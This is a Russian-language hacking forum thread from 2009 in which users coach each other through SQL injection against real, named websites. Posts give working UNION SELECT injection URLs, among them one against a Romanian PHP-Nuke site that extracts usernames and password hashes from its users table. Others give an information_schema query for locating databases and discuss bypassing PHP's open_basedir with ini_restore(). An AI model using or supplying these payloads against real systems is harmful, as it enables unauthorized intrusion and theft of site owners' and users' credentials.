07.06.2009, 15:24
|
|
Познающий
Регистрация: 28.03.2009
Сообщений: 30
С нами:
9012610
Репутация:
1
|
|
картинку у меня еще получалось впихивать... в вот куки в предачу с ней никак
|
|
|
07.06.2009, 16:24
|
|
Постоянный
Регистрация: 22.11.2008
Сообщений: 344
С нами:
9192645
Репутация:
570
|
|
Каким запросом вывести инфу из бд? На сайте 6 бд! нужно из одной из них вывести инфу! Когда пишу ...3+from+users выдаёт ошибку( Сор если плохо объяснил)
|
|
|
|
07.06.2009, 18:32
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами:
9619229
Репутация:
445
|
|
Сообщение от SENIA
Каким запросом вывести инфу из бд? На сайте 6 бд! нужно из одной из них вывести инфу! Когда пишу ...3+from+users выдаёт ошибку( Сор если плохо объяснил)
Прочитай сообщение психа
Вот что я к нему дополняю...
...+union+select+1,TABLE_SCHEMA,3+from+information _schema.tables+where+table_name=TABLE_NAME+limit+1 ,1--
Где табл нейм там имя таблицы в виде хекса (0x+hex)
(лимит можно не ставить но я поставил)
Он тебе выдает имя БД где хранится таблица твоя
Дальше читай сообщение психа )
Последний раз редактировалось diznt; 07.06.2009 в 18:39..
|
|
|
|
07.06.2009, 16:28
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
С нами:
10660753
Репутация:
676
|
|
SENIA
3+from+dbname.users
если прав хватит...
|
|
|
|
07.06.2009, 22:34
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Так,я,кажется,разобрался.Об ход open_basedir с помощью функции ini_restore() работает только в случае,если в php.ini или vhosts.conf с помощью php_admin_value был указан open_basedir или с помощью php_admin_flag указан safe mode,но там не писали про php.ini.Если open_basedir будет закомментирован,то он автоматически принимает значение no value(Что-то вроде NULLа),и функция ini_restore() также срабатывает. Проверено на PHP 5.2.6.
В моём же случае open_basedir был указан(аж два):
1. /var/www/vhosts/site.ru/httpdocs
2. /tmp
(символ ":" - разделитель)
Спасибо за то,что пытались помочь.Похоже,что придётся искать другие пути...
|
|
|
|
08.06.2009, 08:51
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20&name=Articole&skin=0&subtip=Sti re&tip=jocuri
а дальше PHP Nuke не пускает запросы делать, какие предложения?
|
|
|
|
08.06.2009, 08:59
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
С нами:
9095366
Репутация:
298
|
|
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,@@basedir,1 2,13,14,15,16,17,18,19,20&name=Articole&skin=0&sub tip=Stire&tip=jocuri
/usr/local/mysql/
basedir съело..
|
|
|
|
08.06.2009, 09:18
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
@@basedir, @@version_compile_os....etc
такие запросы сьедает...я про основные и как мне вывести инфу из БД
|
|
|
|
08.06.2009, 09:33
|
|
Познающий
Регистрация: 11.02.2009
Сообщений: 98
С нами:
9076508
Репутация:
169
|
|
Сообщение от Gorev
@@basedir, @@version_compile_os....etc
такие запросы сьедает...я про основные и как мне вывести инфу из БД
Код:
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,username,4,5,6,7,8,9,10,user_password,12,13,14,15,16,17,18,19,20+from+nuke_users+limit+1,1&name=Articole&skin=0&subtip=Stire&tip=jocuri
все вроде нормально выводится, только скобочки нельзя ставить
|
|
|
|
08.06.2009, 09:28
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Здравствуйте.Я нашел sql-inj подобрал столбцы http://shop.vuku.ru/index.php?productID=-445+union+select+1,2,3,4-- но почему-то я немогу даже версию узнать бд.В чем моя ошибка?Что оттуда можно вытащить?
Последний раз редактировалось TreV@N; 08.06.2009 в 09:31..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
